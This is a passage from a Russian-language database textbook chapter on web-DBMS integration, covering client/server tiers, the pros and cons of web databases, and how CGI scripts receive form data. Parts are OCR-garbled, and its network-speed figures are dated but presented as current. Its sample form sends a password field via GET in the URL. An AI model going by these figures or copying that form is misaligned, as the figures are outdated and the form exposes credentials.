Если документы публикуются в динамическом режиме (например, по результатам выполнения запроса к базам данных), то серверу потребуется генерировать их в гипертекстовом формате. Для достижения этой цели следует подготовить сценарии, предназначенные для выполнения преобразования данных различного формата в HTML-формат непосредственно в процессе их генерации. Эти сценарии должны понимать содержание запросов, посылаемых клиентом с помощью HTML-форм, а также знать формат результирующих данных, генерируемых их приложениями- владельцами (например, СУБД). Поскольку база данных является динамическим объектом, изменяющимся в результате того, что пользователи могут создавать, вставлять, обновлять или удалять сохраняемые в ней данные, генерация динамических Web-страниц — это гораздо более подходящий подход для работы с ней, чем создание статических Web-страниц. Более подробно некоторые способы создания динамических Web-страниц описываются в разделах 24.3-24.10.
Использование среды Web как платформы приложений баз данных
В этом разделе среда Web рассматривается как платформа, используемая в целях предоставления пользователям интерфейса для работы с одной или несколькими базами данных. После краткого обсуждения требований, предъявляемых к интеграции СУБД в среду Web, мы рассмотрим базовую архитектуру, которая может быть использована для обеспечения подобной интеграции. В конце этого раздела обсуждаются преимущества и недостатки, свойственные интеграции СУБД в среду Web.
Требования, предъявляемые к интеграции СУБД в среду Web
Хотя многие поставщики СУБД работают над созданием собственных решений задачи интеграции баз данных в среду Web, многие организации предпочитают использовать более распространенные подходы просто для того, чтобы не зависеть целиком и полностью от какой-то одной технологии. В этом разделе кратко перечисляются самые важные требования, предъявляемые к интеграции приложений баз данных в среду Web. Эти требования отчасти идеалистичны и в настоящее время в полной мере недостижимы. Более того, для удовлетворения некоторых из этих требований приходится жертвовать другими. Ниже эти требования перечислены в произвольном порядке.
Возможность защищенного доступа к ценным корпоративным данным.
Способ подключения, не зависящий от данных и разработчика программного обеспечения, предоставляющий необходимую свободу выбора типа СУБД как в настоящее время, так и в будущем.
Возможность взаимодействия с базой данных, независимо от конкретного типа используемого Web-броузера или Web-сервера.
Наличие такого подключения, которое позволяет извлечь все преимущества всех компонентов СУБД, используемой в данной организации.
Открытость архитектуры, позволяющая взаимодействовать с разнообразными системами и технологиями, включая перечисленные ниже:
различные Web-серверы;
технологии DCOM и COM ((Distributed) Common Object Model) фирмы Microsoft;
технологии CORBA и протокол ПОР (Internet Inter-ORB);
язык Java и технология Remote Method Invocation (JRMI).
Экономически эффективное решение, допускающее масштабируемость, рост и изменение стратегических направлений, а также способствующее сокращению расходов на разработку и сопровождение приложений.
Поддержка транзакций, которые покрывают несколько НТТР-запросов.
Поддержка сеансов на основе идентификации пользователей средствами СУБД и приложений.
Приемлемая производительность.
Минимальный уровень администрирования.
Набор высокоуровневых инструментов разработки, позволяющих относительно просто и быстро создавать, внедрять в эксплуатацию и сопровождать новые приложения.
24.2.2. Архитектура Web-СУБД
В разделе 2.6.3 рассматривается традиционная архитектура “клиент/сервер” современных СУБД, использующая двухуровневую схему построения приложений “клиент/сервер”. В этом разделе рассматривается другая архитектура, более пригодная для работы в среде Web.
Традиционная двухуровневая архитектура „клиент/сервер"
Бизнес-приложения для интенсивной работы с данными состоят из четырех основных компонентов: базы данных, логики транзакций, логики приложения и интерфейса пользователя. В среде мейнфреймов все эти компоненты размещались в одном месте, как и надлежит быть в высокоцентрализованной бизнес-среде.
Для удовлетворения новых требований, связанных с растущей децентрализацией бизнес-среды, позже была разработана архитектура “клиент/сервер”. Традиционная двухуровневая архитектура “клиент/сервер” предусматривает распределение основных решаемых задач между двумя уровнями. Клиентская часть, или клиент (уровень 1), прежде всего отвечает за представление данных пользователю, а серверная часть, или сервер (уровень 2), — за предоставление сервисов данных этому клиенту, как показано на рис. 24.3. Сервисы представления управляют пользовательским интерфейсом и основной бизнес-логикой приложения. Сервисы данных обеспечивают ограниченную поддержку бизнес-логики приложения, обычно в виде правил проверки корректности ввода данных (которую клиент неспособен выполнить из-за отсутствия соответствующей информации), а также реализуют доступ к запрашиваемым данным независимо от их расположения. Данные могут происходить от реляционных СУБД, объектно-ориентированных СУБД, традиционных СУБД или от устаревших специализированных систем доступа к данным. Клиентская часть обычно располагается на настольных компьютерах конечных пользователей и через сеть взаимодействует с центральным сервером базы данных.
Первый уровень КлиентПервый уровень КлиентВторой уровеньСервер базы данныхВторой уровеньСервер базы данныхФункции
Первый уровень Клиент
Первый уровень Клиент
Второй уровень
Сервер базы данных
Второй уровень
Сервер базы данных
Интерфейс пользователя
Основная логика обработки данных
Функции
Контроль данных на серверной стороне
Доступ к базе данных
Рис. 24.3. Традиционная двухуровневая архитектура “ клиент, сервер”
Трехуровневая архитектура
Необходимость масштабируемости систем по мере развития предприятий стала непреодолимым барьером для традиционной двухуровневой архитектуры “клиент/- сервер”. В середине 1990-х годов стремительно усложнявшиеся приложения потенциально требовали разворачивания их программного обеспечения на сотнях и тысячах компьютеров конечных пользователей. В результате этого на клиентской стороне четко обозначились две указанные ниже проблемы, препятствующие достижению истинной масштабируемости приложений.
“Толстый” клиент, для эффективной работы которого требуются значительные вычислительные ресурсы, включая дисковое пространство, оперативную память и мощность центрального процессора.
Значительные накладные расходы на администрирование клиентской части приложений.
В 1995 году появился новый вариант модели традиционной двухуровневой архитектуры “клиент/сервер”, который был призван решить проблемы корпоративной масштабируемости. В этой новой архитектуре предлагались три уровня программного обеспечения, каждый из которых может функционировать на разных платформах.
Уровень пользовательского интерфейса, который располагается на компьютере конечного пользователя ^клиенту
Уровень бизнес-логики и обработки данных. Этот промежуточный уровень располагается на сервере и часто называется сервером приложения.
СУБД, в которой хранятся данные, необходимые для функционирования промежуточного уровня. Этот уровень может выполняться на отдельном сервере базы данных.
Как показано на рис. 24.4, клиент отвечает только за пользовательский интерфейс и, возможно, выполняет некоторую очень простую логическую обработку данных, например проверку корректности ввода данных. Ограниченный подобным функциональным набором клиент получил название “тонкого”1 клиента. Основная бизцес-логика приложения теперь находится на собственном выделенном уровне, который физически связан с клиентом и сервером базы данных посредством локальной (Local Area Network — LAN) или глобальной (Wide Area Network — WAN) вычислительной сети. При этом предполагается, что один сервер приложений может обслуживать множество клиентов.
Рис. 24.4. Традиционная трехуровневая архитектура и клиент/сервер”
Трехуровневая архитектура “клиент/сервер” имеет многие преимущества перед одно- и двухуровневой моделями. Ниже перечислены некоторые их них.
“Тонкий” клиент, для которого требуется менее дорогостоящее аппаратное обеспечение.
Централизация бизнес-логики для многих конечных пользователей на одном сервере приложения и, как следствие, централизация сопровождения при-
ложения. Благодаря этому исключается необходимость развертывания программного обеспечения на множестве компьютеров, что представляет собой одну из самых сложных задач в двухуровневой модели “клиент/сервер”.
Дополнительная модульность упрощает модификацию или замену программного обеспечения каждого уровня без оказания влияния на остальные уровни.
Отделение основной бизнес-логики приложения от функций базы данных упрощает задачу равномерного распределения нагрузки.
Дополнительное преимущество заключается в том, что трехуровневая архитектура довольно естественно отображается на среду Web, где Web-броузер выполняет роль “тонкого” клиента, а Web-сервер — сервера приложений. Трехуровневая архитектура может быть расширена до п-уровневой архитектуры с дополнительными уровнями, которые позволяют повысить гибкость и масштабируемость создаваемых приложений. Например, промежуточный уровень в трехуровневой архитектуре может быть расщеплен на два уровня, один из которых может выполнять роль обычного Web- сервера, а другой — типичного сервера приложений.
Преимущества и недостатки интеграции СУБД в среду Web
Среда Web, используемая в качестве платформы для систем с базами данных, может стать основой для инновационных решений в области внутри- и межкорпоративных бизнес-задач. К сожалению, этот подход обладает также определенными недостатками. В этом разделе дается сравнительная характеристика возможных преимуществ и потенциальных недостатков.
Преимущества
Ниже перечислены преимущества интеграции СУБД среду в Web.
Преимущества использования функций СУБД.
Простота реализации.
Независимость от платформы.
Графический интерфейс пользователя.
Стандартизация.
Межплатформенная поддержка.
Прозрачный сетевой доступ.
Масштабируемость развертывания.
Инновационность.
Преимущества использования функций СУБД
В начале этой главы уже упоминалось о том, что многие Web-сайты до сих пор полностью построены на базе файловой системы, где каждый документ хранится в отдельном файле. И действительно, многие наблюдатели отметили тот факт, что наибольшая в мире “база данных” — World Wide Web — разрабатывалась с очень малым или вообще без какого-либо использования достижений технологии баз данных. В главе 1, “Введение в базы данных”, уже обсуждались преимущества СУБД перед с традиционной файловой системой (см. раздел 1.6). Многие из упомянутых преимуществ СУБД можно отнести и к случаю интеграции СУБД в среду Web. Например, полностью устраняется проблема синхронизации информации в базе данных и HTML-файлах, поскольку HTML-страницы динамически генерируются на основе информации, извлекаемой из базы данных. В результате существенно упрощается сопровождение системы, а к HTML-содержимому сайта могут быть применены все функциональные возможности СУБД — например, средства защиты или поддержания целостности данных.
Простота реализации
В исходном виде язык разметки HTML был очень прост для освоения как профессиональными разработчиками, так и обычными конечными пользователями. В определенной степени все это еще остается в силе, если сама HTML-страница оказывается не слишком перегруженной функциональными компонентами. Однако с течением времени язык HTML постоянно расширяется за счет ввода новых или модернизации уже существующих элементов, а потому его исходная простота постепенно теряется. Независимость от платформы
Привлекательным аспектом создания приложений баз данных на основе Web- среды является тот факт, что Web-клиенты (или броузеры) обладают независимостью от платформы. Поскольку броузеры имеются практически для всех существующих вычислительных платформ, при условии поддержки ими стандартов HTML/Java разработчикам не потребуется вносить в приложения изменения для того, чтобы они могли работать с разными операционными системами или различными оконными пользовательскими интерфейсами. В отличие от этого, в случае использования традиционных баз данных, для переноса приложений на другие платформы потребуется выполнить существенную модификацию (если не полную модернизацию) их клиентских частей. К сожалению, поставщики Web-броузеров стали включать в состав своих продуктов специфические компоненты собственной разработки, что приводит к постепенному исчезновению упомянутых выше преимуществ.
Графический интерфейс пользователя
Главной целью использования базы данных является обеспечение доступа к данным. В прежних главах было показано, что доступ к базам данных можно осуществлять с помощью командного интерфейса на основе текстовых меню или с помощью программного интерфейса, подобного тому, который определен в стандарте SQL2 (см. раздел 14.5). Однако эти интерфейсы могут быть достаточно сложными и вызывать затруднения в использовании. С другой стороны, качественный графический пользовательский интерфейс (Graphic User Interface — GUI) может существенно упростить и расширить возможности доступа к базе данных. К сожалению, GUI-интерфейс сложнее программируется, в большей степени зависит от платформы, а зачастую и от конкретной фирмы-разработчика. В то же время Web-броузеры предоставляют широко распространенный и простой в использовании графический пользовательский интерфейс, который можно применять для доступа ко многим типам объектов, включая (как вы вскоре убедитесь) и базы данных. Помимо этого, использование широко распространенного типового интерфейса позволяет сократить расходы на обучение конечных пользователей.
Стандартизация
HTML фактически является стандартом, который поддерживается всеми существующими Web-броузерами, что позволяет читать HTML-документы, находящиеся на одном компьютере, с помощью другого компьютера, расположенного в любой точке земного шара, при условии, что он имеет подключение к Internet и установленный Web-броузер. Разработчики во всем мире пользуются одним и тем же языком — HTML, а конечные пользователи — единым графическим пользовательским интерфейсом. Однако, как уже упоминалось выше, этот стандарт постепенно перестает быть всеобщим, поскольку поставщики все чаще разрабатывают и распространяют собственные специфические компоненты, которые не являются универсальными.
Межплатформенная поддержка
Web-броузеры теперь доступны практически для любого типа вычислительной платформы. Подобная межплатформенная поддержка позволяет пользователям большинства типов компьютеров осуществлять доступ к одной и той же базе данных из любой точки планеты. Таким образом, информация может распространяться с
минимальными затратами времени и сил, а также без необходимости разрешения проблем, связанных с несовместимостью различных типов оборудования, операционных систем и программного обеспечения.
Прозрачный сетевой доступ
Важнейшим достоинством среды Web является прозрачность сетевого доступа для пользователя, за исключением необходимости указания URL-адреса, что полностью обеспечивается Web-броузером и Web-сервером. Эта встроенная поддержка сетевого доступа существенно упрощает доступ к базе данных, исключая необходимость приобретения дорогого сетевого программного обеспечения, а также дополнительные сложности согласования различных взаимодействующих платформ.
Масштабируемость развертывания
Традиционная двухуровневая архитектура “клиент/сервер” требует создания “толстых” клиентов, недостаточно эффективно реализующих как функции интерфейса пользователя, так и логику самого приложения. И наоборот, решения на основе Web- технологии позволяют создать более естественную трехуровневую архитектуру, обеспечивающую масштабируемость системы. Размещая всю функциональность приложения на отдельном сервере и удаляя ее из программы-клиента, Web-технология позволяет сэкономить время и деньги, затрачиваемые на развертывание приложений. В то же время упрощается модернизация и администрирование системы при работе с различными вычислительными платформами, расположенными в нескольких офисах. При наличии сервера приложения доступ к функциям приложения легко осуществить из любого Web-сайта, расположенного в любой точке планеты. Если говорить о перспективах ведения бизнеса, то возможность глобального доступа к серверной части приложений существенно упрощает создание новых услуг и открытие новых пунктов обслуживания клиентов.
Инновационность
Среда Web как Internet-платформа позволяет организациям предоставлять новые услуги и находить новых клиентов посредством создания глобально доступных приложений. Такие преимущества раньше были совершенно недоступны для любых решений на основе традиционных централизованных приложений архитектуры “клиент/сервер” или локальных групповых приложений.
Недостатки
Ниже перечислены недостатки интеграции СУБД в среду Web.
Недостаточная надежность.
Слабая защищенность.
Высокая стоимость.
Трудности с определением масштаба.
Ограниченная функциональность языка HTML.
Отсутствие запоминания состояния.
Высокие требования к пропускной способности сети.
Недостаточная производительность.
Несовершенство инструментов разработки.
Недостаточная надежность
В настоящее время Internet является недостаточно надежной и очень медленной коммуникационной средой, т.е. при передаче запроса через Internet нет никаких реальных гарантий его доставки (например, просто потому, что сервер может быть выключен). Трудности особенно возрастают в тех случаях, когда пользователям требуется осуществить доступ к информации на сервере в часы пиковой нагрузки, когда сервер очень перегружен или для передачи данных используются перегруженные фрагменты
сети. Ненадежность Internet — это проблема, для решения которой потребуется достаточно много времени. Наряду с проблемами обеспечения безопасности, ненадежность является еще одной причиной, по которой организации для наиболее критичных приложений предпочитают использовать внутренние сети собственной разработки, а не общедоступную сеть Internet. Дело в том, что закрытая внутренняя сеть находится под полным контролем организации, а потому она сопровождается и модернизируется так и тогда, как и когда пожелает данная организация.
Слабая защищенность
Безопасность — это один из основных вопросов, которые следует учитывать организации, решившейся сделать свои базы данных доступными в среде Web. В данном случае из-за большого количества потенциально анонимных пользователей становятся очень критичными вопросы идентификации пользователей и безопасной передачи данных. Более подробно вопросы безопасности рассматриваются в разделе 24.11.
Высокая стоимость
Вопреки очень распространенному заблуждению, сопровождение нетривиального Web-сайта в Internet может оказаться весьма дорогим удовольствием, особенно с ростом требований и ожиданий пользователей. Например, согласно недавнему отчету фирмы Forrester Research, стоимость коммерческого Web-сайта может варьироваться от 300 000 до 3 400 000 долларов США в зависимости от его предназначения. К тому же, предполагается, что эта цена возрастет на 50-200% в течение ближайших двух лет. На самом верху этой шкалы располагаются Web-сайты, которые “занимаются” продажей товаров или обработкой транзакций. Причем 20% затрат уходит на аппаратное и программное обеспечение, 24% — на маркетинговые расходы, а оставшиеся 56% — на разработку содержимого Web-сайта. Ясно, что вряд ли можно сократить расходы на творческую разработку Web-материалов. Однако за счет использования улучшенных инструментов и промежуточного коммуникационного уровня можно существенно сократить расходы на его техническую разработку.
Трудности с определением масштаба
Web-приложения могут столкнуться с непредсказуемым и потенциально огромным уровнем пиковой нагрузки. Это потребует разработки высокопроизводительной архитектуры серверной части, способной обеспечить необходимый уровень производительности.
Ограниченная функциональность языка HTML
Хотя язык HTML предоставляет широко распространенный и простой в использовании интерфейс, его простота означает, что некоторые приложения баз данных с высоким уровнем интерактивности будет очень непросто преобразовать в Web- приложения с тем же уровнем дружественности к пользователю. Как будет показано в разделе 24.8, существует возможность вынести на Web-страницу дополнительную функциональность с помощью таких языков сценариев, как JavaScript и VBScript, либо посредством использования компонентов ActiveX или средств языка Java. Однако в большинстве случаев подобный подход оказывается слишком сложным для неопытных конечных пользователей. Кроме того, эти решения связаны с дополнительным снижением производительности — за счет пересылки по сети и выполнения соответствующего кода.
Отсутствие запоминания состояния ■
Как уже упоминалось в разделе 24.1.2, отсутствие функций запоминания состояния в среде Web затрудняет управление соединениями с базой данных и выполнение пользовательских транзакций, вызывая необходимость хранения в приложениях дополнительной информации.
Высокие требования к пропускной способности сети
В настоящее время пропускная способность локальной сети Ethernet равна приблизительно 10 Мбит/с, а локальной сети Fast Ethernet — около 100 Мбит/с. Существуют предложения по поводу создания сети Gigabit Ethernet, пропускная способность которой может достигать 1000 Мбит/с. В то же время пропускная способность при передаче пакетов по самым быстрым частям сети Internet не превышает 1,544 Мбит/с. Поэтому главным лимитирующим ресурсом сети Internet является ее пропускная способность, причем состояние дел существенно усложняется необходимостью пересылки вызовов к серверу по сети даже для выполнения самых простейших задач (включая обработку формы).
Недостаточная производительность
Многие элементы клиентских Web-программ сложных приложений баз данных построены с использованием интерпретирующих языков. В результате клиентская часть такой базы данных работает медленнее, чем клиентская часть приложения, использующего обычную базу данных. В частности, все HTML-содержимое должно интерпретироваться и отображаться Web-броузером; JavaScript и VBScript — это интерпретируемые языки сценариев, предназначенные для расширения языка HTML некоторыми программными конструкциями; любой Java-аплет компилируется в байт-код, который пересылается по сети, а затем интерпретируется броузером. Для критических по времени выполнения приложений накладные расходы на интерпретацию многочисленных элементов программ могут оказаться неприемлемыми. Тем не менее существует достаточно много приложений, для которых скорость их выполнения не так уж и важна.
Несовершенство инструментов разработки
Разработчики приложений баз данных для среды Web быстро осознали тот факт, что имеющиеся инструменты разработки весьма несовершенны. Еще совсем недавно разработчики Intertnet-приложений использовали языки программирования первого поколения со средой разработки, незначительно отличающейся от текстового редактора. Этот очень серьезный недостаток Internet-программирования остается актуальным и в наши дни, когда разработчики надеются получить более совершенные инструменты разработки с графическим интерфейсом.
Сама Web-технология все еще очень несовершенна, потому более качественная среда разработки необходима хотя бы для того, чтобы облегчить и без того сложную работу прикладного программиста. В данный момент существует несколько конкурирующих технологий, но все еще остается неясным, смогут ли они реализовать заложенный в них потенциал. На самом деле еще не существует даже никаких реальных критериев, позволяющих оценить оптимальность выбора той или иной технологии для того или иного приложения. Как уже обсуждалось выше, в главах 19, “Концепции и разработка распределенных СУБД”, и 22, “Объектно-ориентированные СУБД”, в области интеграции баз данных в среду Web еще не накоплен необходимый опыт работы, сравнимый с опытом работы с традиционными приложениями баз данных, не использующими Web- технологий. Однако со временем этот недостаток будет устранен.
Многие перечисленные выше преимущества и недостатки являются временными. Некоторые преимущества когда-нибудь исчезнут (например, язык HTML постепенно становится все более сложным). Исчезнут и некоторые недостатки (например, Web- технологии станут более совершенными и понятными). Это лишь подчеркивает изменчивость той среды, в которой нам приходится работать при создании приложений баз данных на основе Web-технологии.
Методы интеграции СУБД в среду Web
В следующих разделах рассматриваются некоторые из существующих на данный момент методов интеграции баз данных в среду World Wide Web. Сначала мы рассмотрим самый ранний и, по-видимому, самый распространенный метод, предусматривающий использование CGI-сценариев. Затем мы познакомимся и с другими методами, перечисленными ниже.
Серверные вставки Server-Side Includes.
Файлы cookies языка HTTP.
Расширения Web-сервера: Netscape Server API (NSAPI) и Internet Information Server API (ISAPI) фирмы Microsoft.
Язык Java и расширения JDBC, JSQL и JRB.
Языки сценариев JavaScript и VBScript.
Платформа Active Platform фирмы Microsoft.
Платформа Network Computing Architecture фирмы Oracle.
Конечно, этим списком не исчерпывается все многообразие существующих методов. В следующих разделах читателю просто предлагается краткий обзор и сравнительная характеристика преимуществ и недостатков некоторых из возможных подходов. Среда Web развивается настолько стремительно, что к моменту выхода этой книги в свет некоторые из обсуждаемых методов могут оказаться уже устаревшими. Тем не менее автор надеется, что предлагаемый материал окажется полезным читателям при выборе способа интеграции СУБД в среду Web. Обсуждая данную тему, мы опустим рассмотрение традиционных механизмов поиска, таких как шлюзы WAIS (Kahle and Medlar, 1991), а также текстовых поисковых машин, подобных AlataVista, Excite, Lycos и Yahoo, функционирование которых основано на применении методов поиска по заданным ключевым словам.
24.3. Интерфейс
Common Gateway Interface (CGI)
Интерфейс Спецификации на передачу информации между Web-сервером и CGI- CGIпрограммой.
Для отображения запрашиваемого документа Web-броузеру нужно знать о нем совсем немного. После отправки требуемого URL-адреса Web-броузер попросту отображает полученный ответ таким, каким он есть. Для того чтобы броузер смог отличить одни полученные им компоненты от других, сервер предоставляет специальные коды, присваиваемые отдельным элементам сообщения на основе спецификации MIME (Multipurpose Internet Mail Extensions). Это, в частности, позволяет броузеру установить, что данный файл является графическим и его следует отобразить на экране, а другой файл является архивным и его следует (в случае необходимости) сохранить на диске.
Сервер достаточно “умен”, чтобы посылать документы клиенту и информировать броузер об их типах. Кроме того, сервер знает, как запускать другие программы. Если сервер распознает, что поступивший URL-адрес указывает на некий файл, он отправляет броузеру содержимое этого файла. Если же сервер распознает, что поступивший URL-адрес указывает на некоторую программу, которую называют сценарием (script), то в таком случае он посылает броузеру результат выполнения этого сценария, представленный в виде содержимого некоторого файла.
Интерфейс Common Gateway Interface (CGI) определяет способ взаимодействия сценариев с Web-серверами (McCool, 1993). CGI-сценарием называется любой сценарий, который может принимать и передавать данные в соответствии с спецификацией CGL Таким образом, совместимый со спецификацией CGI сценарий может повсеместно использоваться для предоставления информации, независимо от типа конкретного сервера. На рис. 24.5 схематически показано действие CGI-механизма, включающего Web-сервер, соединенный со шлюзом, способным осуществлять доступ к базе данных или другим источникам данных с последующей генерацией HTML- кода, предназначенного для возвращения клиенту.
Рис. 24.5. Общая схема CGI-механизма
Прежде чем запустить сценарий на выполнение, сервер создает несколько переменных окружения, представляющих текущее состояние сервера, т.е. сведения о том, кто запрашивает информацию, и т.д. Сценарий собирает эту информацию и считывает стандартный входной поток (STDIN). Затем он выполняет необходимую обработку данных и передает их в стандартный выходной поток (STDOUT). В частности, именно сценарий отвечает за отправку клиенту MIME-заголовка, помещаемого перед основной частью выходного потока. CGI-сценарии можно создавать практически на любом языке, который способен считывать и записывать значения переменных окружения данной операционной системы. Это значит, например, что для платформ UNIX сценарии можно создавать на Perl, С, Forth и почти на всех других основных языках программирования. Для платформ Windows сценарии могут быть выполнены в виде пакетных файлов DOS либо с помощью языков программирования Visual Basic, C/C++, Delphi или даже NT Perl (с некоторыми оговорками).
Выполнение Web-броузером CGI-сценария совершенно прозрачно для конечного пользователя, что является одним из достоинств этого подхода. Для успешного выполнения CGI-сценария необходимо осуществить следующие действия.
Пользователь вызывает CGI-сценарий, щелкая кнопкой мыши на гиперссылке или командной кнопке. Кроме того, вызов CGI-сценария может выполняться автоматически при загрузке броузером HTML-документа.
Броузер устанавливает контакт с Web-сервером и запрашивает у него разрешение на запуск требуемого CGI-сценария.
Сервер анализирует файлы конфигурации и списки прав доступа, чтобы убедиться в существовании требуемого CGI-сценария и наличии у запрашивающей стороны права доступа к нему.
Сервер подготавливает переменные окружения и запускает сценарий на выполнение.
Сценарий начинает работу, считывая значения переменных окружения и стандартный входной поток STDIN.
Сценарий помещает в стандартный выходной поток STDOUT требуемые MIME- заголовки, за которыми следуют соответствующие элементы выходных данных, после чего работа сценария прекращается.
Сервер посылает полученные из потока STDOUT данные броузеру и закрывает соединение.
Броузер отображает поступившую информацию на экране.
Информация между броузером и CGI-сценарием может передаваться самыми разными способами, причем сценарий может возвращать данные со внедренными HTML- дескрипторами, в виде обычного текста или изображения. Броузер интерпретируют полненные результаты как и любой другой документ. В результате создается очень удобный механизм поддержки санкционированного доступа к любым внешним базам данных, обладающим соответствующим программным интерфейсом. При возвращении данных броузеру CGI-сценарий должен поместить в первую строку выходного потока соответствующий заголовок, сообщающий броузеру о том, как следует отображать данный выходной поток. Заголовок должен содержать описание типа содержимого (content-type), которое завершается пустой строкой, например, так, как показано ниже.
Content-type.: text/html HTML-документ.
Content-type:Обычный текст.
text/plain
Content-type: image/gif Графический файл формата GIF (Graphics Interchange Format).
Приведенные заголовки являются частью стандарта MIME. Стандарт MIME в Web-технологиях используется также и для указания способа обработки данных мультимедиа. Ниже перечислены некоторые полезные типы подобных данных (с принятыми для них расширениями файлов).
image/jpeg --image/jpeg --image/png — application /postscript — video/avi — video/mov — video/mpeg —image/png — application /postscript — video/avi — video/mov — video/mpeg —графический файл формата JPEG
image/jpeg --
image/jpeg --
image/png — application /postscript — video/avi — video/mov — video/mpeg —
image/png — application /postscript — video/avi — video/mov — video/mpeg —
(Joint Photographic Experts Group) . jpg
графический файл формата PNG (Portabke Network Graph) .png
документ формата PostScript .ps
видеофайл формата AVI (Audio Visual Interleave) фирмы Microsoft .avi видеофайл формата QuickTime Movie фирмы Apple .mov видеофайл формата MPEG (Moving Picture Experts Group) .mpeg
Для передачи информации от броузера к CGI-сценарию предусмотрены следующих четыре основных метода:
передача параметров в командной строке;
передача значений переменных окружения;
передача данных через стандартный входной поток;
использование дополнительной информации о пути.
Передача параметров в командной строке
Для передачи CGI-сценарию параметров командной строки в языке HTML предусмотрен дескриптор <ISINDEX>, который следует помещать в раздел <HEAD> HTML- документа. Он указывает броузеру на необходимость создать на Web-странице некоторое поле, в которое пользователь сможет ввести ключевые слова, предназначенные для выполнения поиска. Однако единственный реальный способ использования этого
метода состоит в том, что CGI-сценарий самостоятельно создает соответствующий HTML-документ со вставленным дескриптором <ISINDEX>, после чего возвращает результаты выполнения поиска по заданным пользователем ключевым словам.
Передача параметров с помощью переменных окружения
Другим способом передачи данных CGI-сценарию является использование переменных окружения. Значения переменных окружения автоматически устанавливаются сервером перед запуском CGI-сценария. Среди нескольких переменных окружения, которые могут быть использованы CGI-сценарием, наиболее важной в контексте баз данных является переменная QUERY^STRING. Значение переменной QUERY_STRING устанавливается в тех случаях, когда в HTML-форме используется метод GET. Эта строка содержит закодированную последовательность сцепленных данных, которые пользователь ввел в поля HTML-формы. Например, в случае использования HTML- формы, фрагмент описания которой на языке HTML показан в листинге 24.2, а представление ее в окне Web-броузера — на рис. 24.6, после щелчка пользователя на кнопке SUBMIT может быть сгенерирован URL-адрес, приведенный ниже (при условии, что поле Password содержит текстовую строку ’’ТМС").
http://WWW/dreamhome.со.uk/cgi-bin/quote.pl?symboll=Thomas+Connoly&symbol2=TMC
^Netscape
/ £je £<Й yiew go Communicate H^> "\ .
| ' ^ ^-. " ’Эк: SV' 4^ ^^- rf ^|
■■i|WBac^Home Search Guide". Print Security
■^■^^Booknwks < ^ ■. Go to: |http//www d^
IWl® ^^ tJl Lookup ?jJ .NewSO^. .••j?
DreamHome Estate Agents
Name:pnomas Connolly
Password-F^^
SUBMIT | CLEAR |
Pac. 24.6, Общий вид заполненной HTML-формы (см. листинг 24.2) в окне броузера
В этом случае подготовленная сервером переменная QUERY_STRING будет иметь следующее значение:
symboll=Thomas+Connoly&symbol2=TMC
Листинг 24.2. Фрагмент описания формы на языке HTML
<FORM METHOD = "GET" ACTION = "http://cis.paisley.ac.uk/cgi-bin/quote.pl">
Name:<INPUT TYPE = "text" NAME = "symboll" SIZE = 15><BR>
Password:<INPUT TYPE = "password" NAME = "symbol2" SIZE = 6> <HR>
<INPUT TYPE = "submit" Value = "SUBMIT">
<INPUT TYPE = "reset" Value = "CLEAR"x/FORM>
Преобразованные в строки пары “имя^поля-значение” объединяются с помощью символа амперсанта (&), используемого в качестве разделителя. Кроме того, некоторые специальные символы перекодируются (например, пробелы заменяются знаками “плюс”). Вызываемый CGI-сценарий расшифровывает полученное значение переменной QUERY J5TRING и использует его по назначению.
Преимущества и недостатки интерфейса CGI
CGI фактически является стандартным интерфейсом, регламентирующим взаимодействие Web-серверов с внешними приложениями. В настоящее время это, пожалуй, наиболее распространенный метод организации взаимодействия Web- приложений с источниками данных. На начальных этапах развития Web-технологий концепции интерфейса CGI использовались для организации взаимодействия между Web-сервером и определенными пользователем приложениями сервера. Основными преимуществами интерфейса CGI являются его простота, независимость от используемого языка и типа Web-сервера, а также его широкое распространение. Однако, несмотря на все эти преимущества, использование интерфейса CGI также связано с некоторыми проблемами.
Первая проблема заключается в том, что соединение между клиентом и сервером баз данных должно всегда осуществляться с помощью Web-сервера, занимающего промежуточное положение. Если к данному Web-серверу одновременно обращается большое количество пользователей, то он может превратиться в узкое место, ограничивающее производительность всей системы. При каждом обращении Web-клиента или при каждом ответе сервера базы данных Web-сервер должен преобразовать данные из HTML-формата или, наоборот, в HTML-формат. Ясно, что это создает существенную дополнительную нагрузку, помимо собственно обработки запросов.
Вторая проблема заключается в недостаточной неэффективности, вызванной отсутствием поддержки транзакций CGI-интерфейсом, что, в свою очередь, является следствием отсутствия запоминания состояния, характерного для протокола HTTP. Для каждого запроса, поступающего через CGI-интерфейс, сервер баз данных должен выполнить процедуру регистрации входа и выхода из системы, даже в том случае, когда некоторая последовательность запросов посылается одним и тем же пользователем. CGI-сценарий может обрабатывать запросы в пакетном режиме, но в этом случае вызывает затруднения поддержка интерактивных транзакций в базе данных, включающих несколько интерактивных запросов.
Свойственное протоколу HTTP отсутствие запоминания состояния также может вызвать и более фундаментальные проблемы — например, при проверке корректности введенных пользователем данных. Если пользователь при заполнении формы оставил пустым некоторое обязательное для заполнения поле, то CGI-сценарий не сможет вывести на экран диалоговое окно с соответствующим предупреждением и отвергнуть введенные пользователем данные. В подобной ситуации CGI-сценарий способен отреагировать лишь одним из следующих способов:
вывести новую HTML-страницу с предупредительным сообщением и предложением щелкнуть на кнопке для возврата к предыдущему состоянию;
повторно вывести ту же форму, заполнив поля ранее введенными данными и предложив пользователю ввести недостающие данные.
Существует несколько методов разрешения указанной проблемы, но ни один из них не является вполне удовлетворительным. Один из таких методов заключается в создании файла с самой свежей информацией обо всех пользователях. При поступлении нового запроса следует обратиться к этому файлу, предполагая, что корректное состояние программы основано на тех сведениях, которые пользователь ввел в последний раз. Проблемы в данном случае связаны с трудностями идентификации Web-пользователей, возможной незавершенности начатого пользователем действия с последующим повторным посещением этого же Web-сайта, но уже с другой целью.
Еще одно свойственное CGI-программам ограничение связано со способом доставки документов, применяемым в протоколе HTTP. Дело в том, что протокол HTTP не предназначался для длительного или интерактивного обмена данными. Это значит, что при генерации CGI-программой, например, графических изображений, установленное соединение необходимо поддерживать открытым. При этом считается, что несколько изображений являются частью одного изображения.
Другой важный недостаток следует из того факта, что сервер должен генерировать новый процесс или поток для каждого выполняемого CGI-сценария. Для популярного Web-сайта с десятками одновременных посещений подобный подход вызывает существенную дополнительную нагрузку, возникающую вследствие конкуренции за оперативную и дисковую память или процессорное время. Разработчик сценариев должен учитывать то, что одновременно могут выполняться сразу несколько копий одного и того же сценария, и соответственно должен организовать параллельный доступ к любым файлам данных, используемым сценарием.
